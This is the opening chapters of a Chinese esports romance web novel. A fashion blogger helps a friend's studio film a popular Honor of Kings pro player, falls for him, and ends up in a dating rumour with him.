《心动的二次方[电竞]》 1. 第1章 客厅传来熟悉的游戏声音,江笛换完鞋后穿过玄关,绕过地上摆放着的衣架,随着游戏解说声速的变化,江笛的视线从手机上移开,映入眼帘的是一块正在播放游戏比赛的液晶大屏,正前方,一个穿着花色睡衣的女生坐在地毯上吃饭,时不时抬眼看一下比赛情况。 “现在来到十分钟的龙团点,FRG几人正在赶来的路上,五七还在自家红野区,ZDG提前过完线已经开始摸龙了,FRG这几个人必须拖住等射手来,但是龙血已经下了一半了……” “海月提前落位,闪现拉走大司命固定战场,虽然在幻境当中造成不了击杀,但是可以给队友制造一个输出的环境!橘右京拿到了龙,ZDG这边剩下的人没有一个能抗伤害的!都残血了!” “但是五七失误了!闪现和大招都没有点出来,敖隐被张飞吼到接小乔二技能被集火秒了!海月出来大司命还是几乎满血的状态,队友接不了只能卖了!该说不说ZDG的阵容就是好打,容错率太高了!” 视频里眼花缭乱的操作配上激昂的男女声解说,让祝愉莫名感到一阵激动。 “你在看这一场比赛啊。”江笛走近看了眼,递给祝愉咖啡。 “嗯,我看这场比赛的播放量很高,就点进去看看。”祝愉插上吸管喝了一口,继续说道,“他们好厉害啊,我感觉什么都还没有看清,他们团战就结束了。” “当然了,他们就是靠这个吃饭的,注意力高得吓人,天赋全点在游戏上了。”江笛努了努嘴。 “所以这场比赛谁赢了啊?”祝愉问道,她现在才看到第五小局,目前FRG3:1领先。 江笛说道:“ZDG。FRG被4:3输了。” “你该不会没看我给你发的资料吧,咱明天要给决赛的评论席嘉宾拍视频,你说谁赢了!”江笛瞪大眼睛质问道。 祝愉尴尬的笑了笑,她只玩游戏,对这种游戏比赛从来不感兴趣,战队有哪些也不知道,更别提选手了,而且早上醒来她就在拆快递试衣服,江笛的消息也没来得及看。 她的闺中好友江笛,毕业后开了家新媒体工作室,专门给各网红做视频外包运营,因为圈内外反响不错,在朋友的引荐下,她们工作室跟KPL那边有了一个长期的合作。 KPL全称KingProLeague,是国内顶级的王者荣耀电竞赛事。近两年得益于选手包装成功,联赛的热度持续上升,粉丝观赛数量也跟着水涨船高,联盟顺水推舟,为了拔高比赛热度,对一些人气选手的视频内容也有了要求,所以干脆把他们的运营内容外包了出去,交给专业的人来做。 江笛这次接到的就是FRG的邀约,但恰好最近负责服装造型的人离职了,工作室人手不够,江笛就拜托祝愉这个穿搭博主来帮她设计一些造型。但祝愉从未关注过竞圈,江笛便给她转发了一堆电竞相关的博文,让她熟悉熟悉。 江笛耐心地解释道:“你现在看的是败者组决赛,这场谁赢谁就进总决赛,最后赢的是ZDG。我今早给你发的照片呢是FRG的中单重明,就是玩海月的这个,他明天是总决赛的评论席嘉宾。” 重明,本名俞述,21岁,现在是FRG的首发中单。 曾经坐替补席坐了将近半年,年总临危受命替下KG首发中单上场比赛,发挥亮眼,被很多人认为是天赋极高的选手。 此男初登赛场便斩获三连MVP,加上自带氛围感的长相,一时间全网爆火,各个营销号都在说KPL真是好命,又一个人气选手诞生了……连带着持续低迷的职业比赛都又回温了不少。 俞述的人生又一变故发生在那年年总结束之后,俞述所在的队伍资金链断裂,KG老板只能卖队,俞述则在转会期的时候被FRG买走。 不过在FRG的这两年,俞述作为队长,也带着队伍拿到了两冠一亚的成绩,在赛场之上有着不小的统治力。 不错的成绩加上不错的长相,在短短两年,俞述便跻身于明星选手行列,只要有FRG的比赛,那天一定是座无虚席的。 但是上一个赛季夺冠的FRG爆冷,春季赛常规赛输得惨不忍睹,好不容易挤进季后赛,第一轮就掉入了败者组,连总决赛的门槛都没进去就淘汰了。 祝愉点了点头,疑惑地问道:“但是我感觉他们很厉害啊,为什么输了?” 都3:1领先了。 江笛漫不经心地刷着手机说道:“这场射手和对抗路失误太多了,被连追了两分,后面整个队伍状态就不太好,巅峰对决也输了。” 巅峰对决就是BO7比赛中打到3:3后的第七局,双方盲选阵容,前面六局选过的英雄,第七局还能再选。通常双方都会选当前最强版本阵容,偶尔会根据自己队伍的常用体系进行个别英雄的替换,所以第七局决胜局就是看双方手法对拼的一局了。 像这种大比分领先,却被连追几分拖入巅峰对决,其实很考验选手心态,稳住了就有赢的可能,但是很难。 赛场瞬息万变,意识和操作就是依赖于心态,两三秒的恍惚和紧张就能决定一切……即便是身经百战的老选手也不外乎于此,胜负全在一念之间。 “明早9点我在楼下接你,我这会临时有事得先回工作室一趟。”江笛背上包,提着垃圾袋朝祝愉喊道。 “好。” 门闭,祝愉才拿起手机看江笛给她发的照片,刚刚忙里偷闲,选下饭剧的时候她才猛然想起明早要给一个电竞选手拍摄,顺手点开了一个最近热度较高的比赛视频看了几眼。 江笛的工作室加上她也就六个人,一直是低成本运行,摄影、妆造、剪辑、业务等一切事务她们六个人全包,有时候连饭都顾不上吃,更别提最近还有人离职了,祝愉看江笛实在是太辛苦了,就偶尔过来跑跑腿。 明天去体育馆还是她第一次出外景。 …… “电竞选手长这么帅吗?”祝愉看着手机的照片,喃喃自语道。 这是一张抓拍的照片,照片里的人一头清爽利落的短发,刘海堪堪遮住眉骨,双眼皮很深,五官凌厉但少年感居多,他眼睛弯着,笑着跟旁边的队友说着什么,简单的蓝色T恤和牛仔裤显得 更加青春洋溢。 可以出道去当爱豆了。 祝愉记得他叫重明,便在微博搜了一下名字,率先出来的是一个营销号发的比赛视频,标题是“探讨FRG输的原因”,热度很高。 【人生最后悔的事就是看了你们的比赛,菜到发昏,让我觉得我也能上去替代你们这五头猪了】 【真是丢人现眼,太让人失望了,以为你们能从败者组杀进决赛的】 【拿了个冠军就飘了,结果这次连决赛都没进去】 偶尔几句粉丝发的评论也被怼了回去,回复里尽是嘲笑。 【输了就输了,在这挽什么尊】 【真不知道你们是来追星的还是看比赛的】 几方吵得不可开交,甚至还引战到了这个营销号头上。 还有更多难听的话祝愉没有看到,再一刷新,博主已经开启了一键防护。 竞圈还是太恐怖了,祝愉捂了捂心脏。 返回顶部,祝愉看到“FRG重明”的账号,点了进去,置顶微博显示的时间是去年的11月,内容是FRG获得年总冠军,照片上几人捧杯看向镜头,金色的彩带落下,遮不住那几个少年的笑容。 第二张照片是俞述双手举着奖杯,虎牙露出,笑得十分开心,有一种压抑了许久的情绪彻底释放的感觉。 配文是简短的四个字,“如愿以偿”。 祝愉看了很久,长按保存了下来。 微博里的内容不是很多,大部分都是跟比赛有关的视频,个人照片也很少有正脸,但每条博文底下的评论数和点赞量都很多,可见人气之高。 继续往下翻,一张戴着狗狗头套的大头照映入眼帘,俞述不自然地看着镜头,眼底羞涩但又强装着镇定,嘴唇害羞地抿起来。 “是游戏输了的惩罚。” 好可爱啊! 祝愉不自觉地扬起嘴角,真的好可爱! 刚刚的那些照片基本上都是公式照,姿势摆来摆去就那几个,照片上的人也很少有其他表情,眼神冷漠,面容高冷,硬生生地抹去了那点少年感,显得成熟又稳重。 但是这张却把俞述的另一面给拍了出来。 继续长按保存,还想再往下看的时候,祝愉收到了品牌商的消息,问她这次的新品怎么样,衣服穿着合身不合身…… 祝愉只能退出微博,跟品牌商那边沟通接下来的宣传工作。退出的时候,手指不小心点到了关注。 “哎呦,忘记切小号了。”但祝愉也没多想,觉得这个应该没人在意,自己又不是明星,哪有那么高的关注度。 一天下来,祝愉已经累得不想动弹了,洗漱后也不想刷手机,便被子一盖沉沉睡去。 梦里,她举着手机一定要让俞述比小狗耳朵,男生耳朵、脸全红了,嘴紧紧闭着,就是不肯转头看向她,她废了好大的劲才把俞述的脸转过来,还没按下拍摄键,梦就醒了。 祝愉醒来之后,一脸无语,自己是疯了吗,梦里面跟个变态一样对一个比自己小的男生动手动脚。 简直了! 2. 第2章 9点,江笛准时在楼下等祝愉,接到之后,江笛递过去一杯豆浆。 “我吃过早点了。”祝愉纳闷地说道,还是昨天江笛带来的吐司,她今早煎了个鸡蛋配着吃了。 “我是让你拿着喂我喝,我要开车啊。”江笛嘴里还嚼着包子,催促道,“把安全带系好。” 祝愉系好安全带,接过豆浆,细心地打开盖子,晾了几分钟,称职地举到江笛嘴边,喝一口,喂一口小笼包。 “我昨天给你发的资料你看了没。”江笛吃完最后一口包子,眼睛目视前方,一边打着方向盘一边说道,“没看完现在接着看哈,别到时候认错人了。” 不过照俞述那个长相,也很难认错就是了,就是怕万一。因为她也是第一次跟FRG合作,不知道俞述是个怎么样的人,听说不怎么爱说话,万一脾气不好,给得罪了,啧。 “看了的,ID是重明,本名叫作俞述,18岁出道后坐了半年多的替补席,19岁初登场就进入了前三强,实力强劲……”祝愉按照记忆里的文字一板一眼的背了出来。 “停停停,这些就够了,你还把人家百度百科给背下了啊?”江笛打断后一脸狐疑,之前给那些拍摄对象准备衣服的时候,祝愉从来都不会主动去了解那些人,就知道个名字和长相,这俞述倒是记得清楚。 想起那个梦,祝愉心虚地说道:“我不是怕给你添乱嘛,而且你还说人家是明星选手,我不得多准备点嘛……” 说完后用余光偷偷看了眼江笛,却被逮了个正着。 等红绿灯的间隙,江笛一脸玩味,嘴里啧啧作叹,她听得心里直打摆子。 车开,江笛说道:“我知道了,你看上俞述了是不是?” “我没有!”祝愉连忙反驳。 江笛也没有说什么,侧脸看了眼自己的好闺蜜,她俩都认识十年了,属于是对方肚子里的蛔虫,想什么都一清二楚,更何况,这种春心萌动的样子她又不是没见过。 不过电竞选手的女朋友不太好当,要是个比较糊的还好说,粉丝管你谈不谈,成绩好就行了。 像俞述这种人气高的,不管成绩好不好,谈恋爱应该都算是爆炸性新闻了,粉丝虽然说追竞肯定是看他们操作和比赛结果,谁会在乎他们的感情生活啊。 但事实是,恋爱消息是早上发的,双方本人包括祖宗十八代的身份证照片是下午公开的,女方的个人信息不到一天便会全网皆知,两人恋爱历程会以各种形式展现在大众面前。 之后,不管比赛输赢,选手的女朋友肯定都是要被拉出来讨论一番的,从学历到职业,从家世到外貌,事无巨细。 现在的竞嫂也算是粉丝茶余饭后的八卦谈资。像那种不爱露面的嫂嫂深受粉圈称赞,说是为了选手的比赛能够牺牲一切,在背后默默支持,这才是合格的竞嫂。 但是经常互联网作妖的除外,即便女朋友长得再漂亮也没用,这种连带着选手本人也会一起被各路人嘲讽。 拿了冠军除外……说到底还是看成绩。 但是祝愉的话…… 她觉得祝愉可以。 一是祝愉长得漂亮;二是祝愉是个小网红,虽然走的是穿搭频道,但粉丝也不少;三是祝愉日常比较文静,也不爱出风头。 而且按照俞述的实力,她觉得拿到下一个冠军是迟早的事,成绩更不是问题。 江笛仔细想了想,说道:“我支持你。” “啊?”祝愉懵了。 “我支持你当竞嫂,你绝对分分钟拿下这个俞述。”江笛怕祝愉不自信,末了又加了句,“到时候粉丝骂你,我会为你冲锋陷阵的。” 这股子义气震撼到了祝愉,她还记得俞述的微博有几百多万粉丝,江笛居然有这等勇气为她舌战群儒……钦佩,钦佩。 “等等等等,你在乱说什么?” 怎么被她绕进去了。祝愉停止了这个念头,她连人家面都没见过,怎么就会想要当对方的女朋友呢? 太荒谬了,因为一张照片? “……” 好吧,就因为一张照片,祝愉心中沉默了一瞬,竟然该死的有了那么一丢丢心动,嗯,一丢丢。 万一只是长得好看呢? 她又想到了之前去参加某个活动,碰到了一个男网红,人气非常高,因为长得帅,唱歌好听,粉丝数量非常庞大,连祝愉都有关注他。 结果在后台休息的时候,这男网红对待助理指手画脚的,助理咖啡买错了,直接把人家吼得眼泪直流,满嘴脏话,公共场合也一直抽烟,根本不顾及周围人的感受。但是人前又是一副高岭之花的模样…… 活动没结束,祝愉就把他取关了,从此对这种长得帅的人也没了滤镜。 但是俞述…… 想到那张装作无所谓但其实很害羞的脸,她潜意识觉得俞述一定不是这样的人,这是一种直觉。 嗯,直觉! 就这样,一路心理斗争之下,车终于到了场馆。 这个体育馆建的有点偏,但是才十点多,就已经有不少粉丝来到现场了,还没有开始检票,粉丝便就地交换手中的物料,还为自己支持的选手录制着加油视频。 江笛要等工作室的其他人来,就先让祝愉自己转一会儿。 她从这头逛到了另一头,手里面提满了各路选手的物料,都是粉丝们塞给她的,有手幅、吧唧……还有挂件。 真的太热情了。 “姐姐,你是不是那个小竹啊?”有个穿着cos服的女生凑过来。 祝愉点了点头。 “啊!真是小竹!我是你的粉丝,我关注你好久了!我超级喜欢你,我从高中的时候就一直看你的视频,跟着你买了好多件衣服……”女生语无伦次道。 居然能在这看见她最喜欢的穿搭博主,太值了! “谢谢你一直关注我。”祝愉很感激女生的喜欢,她也没想到会在这碰到粉丝。 “我们可以一起拍张照吗?”女士激动地说道。 “可以可以。” 祝愉凑近,脸贴着女生,微笑着看向镜头,半开玩笑地说:“要把我修好看一点哦,你太漂亮了,我站在你身边都好有压力。” “肯定会的,姐姐你长得超级美~不用修都很好看。”女生满是星星眼。 跟祝愉说完再见,女生便打开相册,查看刚刚拍的合照。 明明这么美!原相机都拍得这么好看!外套也好看!出来一趟又被种草了…… 女生的朋友疑惑地问道:“那是谁啊?” “就是网上很火的一个穿搭博主啊,她大学就开始拍日常穿搭了,我跟着她的视频买了好多件衣服,又好穿又好看。”女主洋洋得意道,“我女神长得漂亮吧。” 女生的朋友认真的点了点头,她是陪朋友来看比赛的,还以为刚刚那个人是某个选手的女朋友呢。 女神大波浪披肩,C家的墨镜把两侧头发撩起别在头上,皮肤吹弹可破,白里透红,眼睛圆润眼尾勾起,鼻子挺翘,嘴巴也是粉粉的,最关键的是,感觉像是只抹了防晒霜,一点儿粉都没擦,纯素颜就出门了。 而且整个人看起来超级有气质,上身就穿着一件白色内搭,外面套着薄款的浅蓝色牛仔衬衫,喇叭裤上的碎钻闪闪发光,挎着棕色托特包,身上有着淡淡的苹果香。一种温柔大姐姐的感觉,她都要爱上了。 “她网名叫什么?我去看看。”两个女生就这样从游戏又聊到了穿搭。 另一边,祝愉挤到了人最多的一处,她踮起脚看向里面,好像是在发什么选手的海报,是粉丝自己印的。 许是祝愉探究的目光太过明显,发物料的姐妹手中顿了一下,鬼使神差地伸长胳膊将海报递给了最外圈的祝愉。 她说了声谢谢,走出人群,把卷着的海报展开。 是俞述啊。 海报黑色和红色打底,俞述单手插兜,侧站着,下巴微微抬起,眼中是不可一世的狂傲。 这张她还没见过。 祝愉卷起来,将自己手腕处的皮筋套了上去,想了想又觉得会把海报勒出印子,摘了下来,把包里比较硬的东西刨到另一边,小心翼翼的把它放进角落。 一路提着,也不敢挎在肩上,就怕压坏了。 …… “你提炸药包呢啊?”江笛拿着工作牌在门口等祝愉,看她一路慢悠悠地走来,包始终与腿保持着半米距离。 祝愉走上台阶,松了口气说道:“没有,是刚刚粉丝们在发物料,我都装包里了,害怕弄坏。” 江笛不是很能理解,祝愉又不看比赛,没有心肝,东西坏了就坏了呗。 哦,不对,可能马上就有了。 “走吧走吧,我们先进去准备,潇潇她们路上堵车,还得一会儿,”江笛背着相机包,把工作牌递给祝愉,“这工作人员的牌子你得一直戴着啊,别弄丢了,不然安保会以为你是私生,把你赶出去的。” 她换了只手,把工作牌挂在胸前,“电竞选手还有私生啊?” “你以为呢,现在不管哪个圈,只要你小有名气,都是有私生的。”江笛顿了顿,“我上个月不是给ZDG的拍视频吗?就在场馆里,那私生都溜进男厕了,把上厕所的选手给吓出心理阴影了,听说后面上厕所都得让人进去检查一遍才敢放心脱裤子。” 祝愉一脸不可置信。 …… 江笛带着祝愉熟门熟路地进到她们的化妆间,这会儿化妆间没什么人,基本上都在舞台那边彩排。 祝愉闲着没什么事,就被江笛派去嘉宾休息间取俞述今天要穿的衣服。像俞述这种人气选手,一般都有自己合作的商务,包括服装、首饰之类的。 这次品牌方直接把当季新款寄给了俞述,但是时间比较紧,俱乐部那边也没来得及把衣服给江笛,就只能线上沟通了一下,设计了一个大概造型。 这会儿把衣服取来熨一下,做完妆造就能拍视频了。 她出门前,江笛对着她一阵挤眉弄眼,让她别辜负自己的期待。 真的是,期待什么啊。 她心里也莫名紧张了一瞬。 但是应该碰不到选手,这会还早,来的话也是直接去舞台那边了。 祝愉找到房间,试探地敲了敲门。 没有人? 她只能倚在墙边等了会儿。 大概十分钟左右,走廊转角处响起脚步声。抬眼望去,在四五个工作人员的簇拥下,一个长相干净的男生正向这边走来。 那一刻,祝愉的心口发紧,胸口咚咚作响,连呼吸都跟着发颤,本来干燥的手心顿时湿润一片。 她想,如果此时有人站在她身边,即便捂着耳朵都能听到她这如擂鼓般的心跳声。 心花怒放,心潮汹涌。 一行人走到跟前,其中一个工作人员疑惑地看过来,眼睛里带着些许警惕,上下打量着门口站着的女生,下意识地将身后的男人挡了起来。 祝愉看见这一幕也没有说什么,抬眼与工作人员对视,微笑着说道:“你好,我是简言工作室的,过来取一下今天选手要穿的衣服。” 短发女生恍然大悟,打开休息室让后面的人先进去。 男人擦肩而过进入房内,一股淡淡的花香萦绕在祝愉的鼻尖。 她暗暗比了一下身高,大概到他嘴巴那,估计有一米八几。 男人走进去便坐在了沙发上,摘下卫衣帽,睡眼惺忪,后脑勺的发丝翘起来几根。 可能觉得坐着不舒服,他把靠垫推到沙发角落,脸靠在上面,又睡了过去。 祝愉觉得自己没救了,明明没有一句交流,甚至都不认识,即便他全程神色冷淡,她都觉得俞述做什么都好可爱。 一开始说话的工作人员让祝愉先进去坐着,俞述今天要穿的衣服还在助理那边,她得去催一催。 祝愉放轻脚步,慢慢地挪到了沙发那,她没敢坐在正中间的长沙发上,害怕打扰到人家休息,再三思量下,坐到了旁边的单人沙发上,距离俞述只有半米不到。 她正襟危坐,环顾了一圈休息室,大家都各忙各的,但都尽量保持低音量交流,给沙发上的男人一个安静的休息环境。 视线落到俞述的脸上,睫毛长而直,露出来的鼻梁高挺,随着一呼一吸,那翘起来的头发也上下震颤,耷拉下来的手骨节分明,指甲修剪得很干净,手腕处也没有多余的饰品。 她安静地欣赏了几分钟,休息室又进来两人,其中一个是刚刚与她交流的工作人员,另一个是个胖胖的短头发男生,手高举着衣服的防尘袋。 祝愉忙起身,腿却不小心蹭到了沙发旁的手。 她一惊,低头看向沙发上的人,睫毛微颤,眉头拧了一瞬,最终睁开了眼,迷茫中与她对视着。 啊……对不起,打扰到你睡觉了。 3. 第3章 看着女生走后,男助理才跟旁边的运营小声说道:“现在摄影师助理都长这么好看了吗?” 运营回道:“不知道呀,她刚刚在门口站着等我们,我一开始以为又是哪个老板的女儿来了,想要俞述的联系方式。” 近期已经有不少女生变着法来跟俞述套近乎,有某合作方的女儿,有其他选手的姐姐妹妹,还有某竞嫂的好闺蜜。 一开始他们也没有插手,选手谈恋爱这方面他们俱乐部也不好干涉,只能多提点几句,别触碰警戒线就行。况且俞述本人也不会搭理陌生人。 但是这样的人越来越多,已经严重干扰到选手比赛了,就只能让他们工作人员出面找各种理由拒绝这些女生。 昨天刚入住酒店,助理阿良陪着俞述出门吃饭的时候,对面的门正好打开,出来一个花枝招展的女人,他好像还在某短视频软件上刷到过这个女人。 一开始以为是偶遇,结果一路走到哪都能碰见这姐妹团,眼神如狼似虎,阿良只能急匆匆拉着俞述回了酒店,一晚上没出门。 早上想着早点过来,一打开门,又碰到对门开了。 女人看起来像是刚起床,还穿着清凉款的真丝睡衣,但是那精致的妆容骗不了他。 还没等对方开口搭讪,阿良便推着还瞌睡的俞述走向电梯,步履匆忙,像是后面有什么恶鬼追着一样。 “哟,你醒了啊。”阿良看见俞述起身,“你这会吃点东西,再过半小时得去舞台那边彩排。” 阿良把手里的麦当劳递给俞述,跟个老妈子一样开始絮絮叨叨。 “你得多吃点啊,一天天吃这么点鸟食,真以为自己是鸟啊。” 俞述的ID叫重明,起这个名字的由来很是独特,是打职业前陪朋友去纹身,看到了重明鸟的照片,觉得这个图腾很酷,就记下了。后来打职业就起了重明这个名字,他的粉丝还给俞述设计了一个红色小鸟的形象。 之后,粉丝就一直把“小鸟”当作对俞述的爱称,连带着跟他很熟的人都有时候喊他小鸟。 俞述转了转僵硬的肩膀,开始吃手里的汉堡。 他凌晨三点多才睡着,今早不到十点阿良就把他叫醒了,这完全搅乱了他的生物钟,现在整个人都昏昏沉沉,脑子都不太清醒。 俞述木着脸吃完东西,又跟着工作人员去评论席熟悉了一下流程,正准备再睡一觉的时候,又被阿良按去化妆间做造型。 “喂,耍大牌啊。”一道清脆的声音从身后传来,俞述向后看去,是ZDG的上单自羽,同行的还有射手川,本名姜其然。 败者组决赛4:3打赢他们进了总决赛。 自羽啧了一声,一看就知道这小子没睡醒,走向前猛拍了两下俞述的肩膀,“醒了没?” “你没处使劲了?”俞述捂着肩膀,说出了今天除了彩排串词的第一句话。 “这不是让你赶紧清醒一下吗?今天你坐评论席得好好夸我,要多留意一下我帅气的操作,知道吗?”自羽笑嘻嘻地说道。 “嘁,还帅气的操作,你最好祈祷今天不要被对面的司空震把脑子给电了。”姜其然抱着胳膊嘲讽道。 他们队落入败者组,还是在打YSG的最后一局,巅峰对决的时候,本来经济领先很多,但是自羽这货跟失智了一样追着对面司空震打。 结果团战打输了,塔也掉完了,风暴龙王也给了,最后水晶也给了,胜者组决赛也给了。 俞述听着二人的对话,不自觉笑了一下,牙抵着嘴唇冒了个白边。 “你多笑一下嘛,平时跟个老爷爷一样板着脸,装什么深沉?”自羽又拍了一下俞述的肩膀。 “想笑的时候就会笑。”俞述收起表情,言简意赅地回答道。 姜其然挑了挑眉,没说话,他跟俞述是同一届的,青训营还住的同一间宿舍,别人不知道俞述的真实面目,他可是知道的一清二楚。 俞述那时候显小,更多的时候都比较腼腆,虽然不爱说话,但是受不了别人夸他,一夸他,他就会忍不住地笑,还是那种害羞地笑。 这一笑可不得了,那些工作人员就天天逗他,然后俞述就更害羞了,每天都戴着帽子,把脸遮住,企图降低自己的存在感。 后来出了青训营,去到KG,坐了半年替补席,俱乐部也卡着他不让他出去打比赛,俞述整个人就看起来消沉了许多。 赛程进行到一半,KG的中单不小心从楼梯上摔了下去,俞述临危受命,上场打后半程的比赛。 刚开始装高冷是紧张的,赛后采访也因此闹出了不少笑话。 半年多没有打过比赛,刚上场肯定是有压力的,加上跟队友磨合度不够,第一场比赛就输了,俞述被骂了个狗血喷头。但赢的那两局他却包揽MVP。 之后,俞述仿佛自带吸引力光环,一举一动都被人反复解读。如果笑了一下就会被队友粉群嘲,骂他没心没肺。所以后面的比赛,俞述几乎全程面无表情,不敢多做其他动作。 那段时间,他呼吸都是错的。 他依稀记得俞述那段时间还问他一些赛场的操作,中单问射手,他都有些懵了,但还是耐心解答,不知道的还去问了他们队伍的教练。 后来俞述待的俱乐部卖队,他才知道那段时间他们队伍连选手的工资都开不出来,赛训组都散了一大半,其他队友也是心绪不宁,心思都没放在比赛上。 俞述年纪小,也没有那么多的社交经验,不知道怎么去跟队友沟通。 可俞述很珍惜自己上场的机会,便挨个去找队友谈了很久,整个队伍才又信心重燃,后面一场打得比一场好,虽然只拿了季军,但已经超出所有人的心中预期了。 后面俞述转会到FRG这个豪门俱乐部,两年内拿过冠军也拿过亚军,最差的成绩也是四强,他以为俞述可能就会变回以前那个样子。 但是俞述没有,以前见到人还会笑眯眯地打招呼,虽然话不多,但眼神之间还是有少年的傲气。 转会之后成为队长,眉眼间那股锐气却削减了几分,眼底的狂傲尽数褪去,目光变得沉静,言行举止克制了许多,遇到什么事也不会急着表态,习惯性地静观其变。 两年,他变了很多。 不过嘛……私底下碰到老熟人,逗一逗他,他还是跟以前一样地害羞,这点倒是没变。 姜其然计上心头,大步跨前,搂着俞述挠他痒痒,两个人开始互相搂着转圈,旁边传来自羽的笑声。 打闹间,不远处的门开了,一个女人探头看向这边。 俞述听到动静后推开姜其然站好,不过脸还是红的,眼角的笑意都没散去。 开门的正是祝愉,她隐隐约约听见外面有打闹的声音,便出来看一眼是谁,结果正好跟俞述对视上了。 这是今天第二次对视了。 她担心自己的目光太过明显,便若有若无地扫了几眼,结果人已经转过身跟旁边的选手继续聊天了。 他们在说什么啊? 她一句也听不清,但是瞥到俞述的耳朵还是红的,头发比刚见到的时候更乱了。 毛茸茸的,好可爱。 祝愉觉得自己真是没救了! “你在干嘛?”江笛调好设备,看见自己的好闺蜜还在门口站着,手都快把裤腿上的那点钻给抠完了,在紧张什么啊……伸头朝走廊看去,瞬间了然。 在化妆间其他人都看不见的角度,江笛一脸“懂你意思”,凑到祝愉耳边小声说道:“你快上啊,这大好机会。” “上什么上,没看见人家旁边有人在吗?”祝愉用气音回复道。 她觉得自己还没有那么大胆。 “谁让你现在就给人家表白啊!你忘了咱是干什么的?”江笛恨铁不成钢,“你不是我的助理吗?我现在给你一个活干,你去催人家来做造型啊!” 祝愉窘迫地点头,比了个OK,眼 神示意她现在的模样如何,江笛点头,非常完美。 她心中自信了许多,刚刚她补了点腮红,把眉尾轮廓描了一下,嘴唇上也淡淡地涂了一层豆沙色的口红,整个人的气色看起来更加红润饱满。 她款款走向几人身后,很礼貌地没有打扰他们聊天,保持着一米多的距离。 还是自羽先看到了祝愉,主动开口问道:“有什么事吗?” “我找一下重明老师。”祝愉始终保持嘴角上扬。 “想问一下您什么时候可以开始化妆呢?” “这会就可以了,实在是不好意思啊,刚刚重明彩排完有点晚了,让你们等太久了。”阿良跻身上前说道。 …… 祝愉走在前面,俞述跟她隔了大概几个跨步,她有意放慢速度,几秒钟之后,她便又闻到了那股淡香。 应该是洗衣液的香味。 除此之外其它什么味道也没有,跟祝愉想象中的竞男不太一样。 她依稀记得有看到过一个电竞选手的一天vlog,视频中有拍到他的队友,头发凌乱,刘海一缕一缕地贴在脑门上,穿着裤衩和拖鞋大喇喇地走在街上,胡子拉碴。 可能是现在随地可见的男人形象,但祝愉还是无法接受这种邋里邋遢的样子。 她认为一个人的卫生干净程度是绝对能够代表这个人的行为品性的。 正想着,后面的男人出声提醒道:“走过了。” 语气平淡,但胜在音色干净透亮,落音也显得柔和了许多,没有那么生硬。 祝愉脚下一滞,光顾着想他了,完全没看路。 她尴尬地扯了扯嘴角,低着头从俞述旁边走回去,打开门带着俞述进去了。 …… 祝愉坐在后面的座椅上,目光呆滞,她仔细地想了想,自己身为一个成年人,在一个比自己还小两岁的男生面前,居然如此的不冷静,这跟她之前的心态完全不一样。 她觉得自己脱离学生时代步入社会之后,应该很难再产生那种怦然心动的瞬间。 在她的脑海里,成年人的恋爱应该是冷静而又克制的,是趋利避害的,是不赌一时心动、权衡过所有的慎重交涉。 但是就目前这两天的心理变化来说,祝愉觉得自己一点都不冷静,一点都不克制,一点都不谨慎。 在跟对方不熟的情况下,没有联系方式,没有过一次完整的交谈,甚至对方都不认识她,她就这么傻不愣登地对一个男人产生了别样的情愫,像话吗? 可能自己还算年轻?心态还处于学生时期吗? 祝愉又把自己劝好了。 哎,但这可有点难追啊。 想了想两人的差距,祝愉又蔫了。 凭什么啊,人家凭什么就跟你谈恋爱。 凭我的美貌? 嗯,小有姿色。 凭我的财富? 嗯,应该是比不过。 凭我的履历? 嗯,没有人家精彩。 凭我的粉丝数? 嗯,自己粉丝最多的时候也才刚到一百万。 唉……她叹了口气。 最重要的是,怎么跟他认识呢?完全找不到合适的机会。 江笛摆弄着手里的相机,从镜子里看到祝愉一脸绝望,最新款的口红都盖不住那抹苍白无力。 “你咋了啊。”江笛挪过去问道。 “心累。”祝愉又叹了一口气,她觉得之前连着几天赶场参加活动都没这么累过,“完全不知道怎么开始。” 江笛心疼地揉了揉祝愉的脸蛋,认识祝愉这么久,也陪着她追过人,但那都是高中时候的事了,自从被伤过之后,她再也没见到过祝愉很明显地喜欢过一个人。 上了大学之后,就算遇到喜欢的类型,也不敢开口说话,就是一直默默关注着,直到那个人谈了恋爱。 她的小苦瓜哟,怎么谈恋爱这么难呢? 4. 第4章 白天的活动结束,祝愉也没能跟俞述说上一句话,更别说加联系方式了,她那鼓起来的一点点勇气也差不多要消耗殆尽了。 …… 灯光闪烁,祝愉跟着现场策划来到主舞台一侧的座位观看比赛。 这个位置,只要一抬眼,就能看到评论席。 她突然不是很想坐在这了,即便是江笛特意找人给她安排的。 还没等她开口问有没有其他座位,带她来的策划老师递给她一个没有拆封过的口罩。 “你把口罩带着吧,这边很容易被粉丝拍到的。”策划老师提醒道。 “拍到什么?”祝愉没理解这是什么意思。 “这边的座位一般安排的是选手的亲属,我怕你被粉丝拍到后,被误认为是哪个选手的女朋友,可能舆论不太好……”策划解释道,而且她记得眼前这个女生还是一个网红,粉丝也不少,不戴口罩的话很容易被认出来。 这种乌龙事件也常有发生。 祝愉了悟,接过口罩戴在脸上,但就是这一戴,当天晚上,她跟俞述上了热搜。 …… 江笛看着手机里的博文,说道:“可以啊你,直接成人家绯闻女友了。” 一旁的祝愉扶着额头,她真的没想到会变成这样。 昨天晚上,她正聚精会神地看着比赛,没注意到旁边来了个人。 一局结束之后,她往后靠,不小心碰到了谁的肩膀,还没等说对不起,就瞥见她旁边坐着的人是俞述。 她当时心跳得飞起,满脸紧张不知所措。 那一刻,仿佛周围再没有第三个人存在,嘈杂的场馆、激情的串场词,祝愉一点都听不见,眼睛里只有俞述一个人。 估计是目光太过直白,俞述往旁边挪了挪。 他本来坐在最上面一排的座位,但是场馆的灯光时不时地照向那个位置,他眼睛都睁不开,便往下走了几排,找了个靠走道的座位坐下,也没看清身边的人是谁。 “不好意思,没有撞疼你吧?”旁边的女生开口询问道。 “没有。”他闷声回应,俞述觉得自己身板还没那么脆弱。 沉默了一瞬,耳边再次响起女生的声音,“你是玩中单的吗?” 祝愉已经开始没话找话了,那快要死寂的信心又重新燃了起来。 丘比特赏箭,老天爷赏饭,她势必要让俞述认识她。 秉着礼貌的脾性,男人嗯了一声。 “你觉得这局的MVP会是谁?我觉得是小桦的苏烈诶,他几波团开得很好。”她疯狂回忆刚刚那局胜方YSG的比赛画面。 旁边的人没有接话,祝愉拽了拽脸上的口罩,仿佛下定决心一般,凑近开口询问道:“你是不是不记得我是谁了啊?” 苹果香甜的味道传来,俞述看着女生露出的眉眼,圆眼忽闪,期待地目光投向他,亮晶晶的,还有一丝不容易被看到的忐忑。 “记得,是那位摄影老师的助理。” 平淡而又疏离。 